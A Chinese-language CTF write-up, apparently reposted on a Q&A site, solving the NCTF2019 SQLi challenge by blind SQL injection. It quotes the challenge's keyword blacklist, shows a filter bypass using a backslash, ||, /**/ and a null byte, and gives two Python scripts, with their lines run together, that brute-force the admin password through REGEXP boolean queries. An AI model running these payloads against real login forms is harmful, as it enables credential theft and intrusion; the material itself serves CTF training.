当前位置:首页 > 编程笔记 > 正文
已解决

[NCTF2019]SQLi regexp 盲注

来自网友在路上 167867提问 提问时间:2023-10-10 03:55:12阅读次数: 67

最佳答案 问答题库678位专家为你答疑解惑

/robots.txt

访问一下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,Then you will get the flag;

这里实现了过滤

说需要admin的密码

这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过

所以我们通过passwd注入

or 使用 || 代替

然后空格使用 /**/代替

我们尝试登入

发现进行302跳转 但是没办法

所以还是要通过 查询admin passwd 进入

所以我们开始

写注入的代码 这里很多都被过滤了

但是放出了 ^和 regexp

正则

我们可以通过正则来读取

和下面的例子一样

select (select 'b') > (select 'abc')  这个时候会返回0select name regexp "^a"     这里的name是admin   //我自己的数据库返回的是1

所以我们可以通过 布尔注入实现这道题的读取

import time
from urllib import parseimport requests
import stringbaseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'def add(flag):res=''res += flagreturn  res
flag=''
ascii_chars = string.ascii_letters + string.digits + string.punctuation
print(ascii_chars)
for i in range(20):for j in ascii_chars:data = add(flag+j)paylaod1 = paylaod.format(data,parse.unquote('%00'))print(paylaod1)data={'username':'\\','passwd':paylaod1}re=requests.post(url=baseurl,data=data)if re.status_code == 429:time.sleep(0.5)if "welcome.php" in re.text:flag += jprint(flag)break

这里很坑 上面的 字符*的时候会循环输出        

you*u*u*u

不知道是环境问题还是什么

所以我们现在替换

import time
from urllib import parseimport requests
import stringbaseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'def add(flag):res=''res += flagreturn  res
flag=''
ascii_chars = string.ascii_letters+string.digits+"_"
for i in range(20):for j in ascii_chars:data = add(flag+j)paylaod1 = paylaod.format(data,parse.unquote('%00'))data={'username':'\\','passwd':paylaod1}re=requests.post(url=baseurl,data=data)if re.status_code == 429:time.sleep(0.5)if "welcome.php" in re.text:flag += jprint(flag)break

这个就可以爆出值了

you_will_never_know7788990

查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"[NCTF2019]SQLi regexp 盲注":http://eshow365.cn/6-18148-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!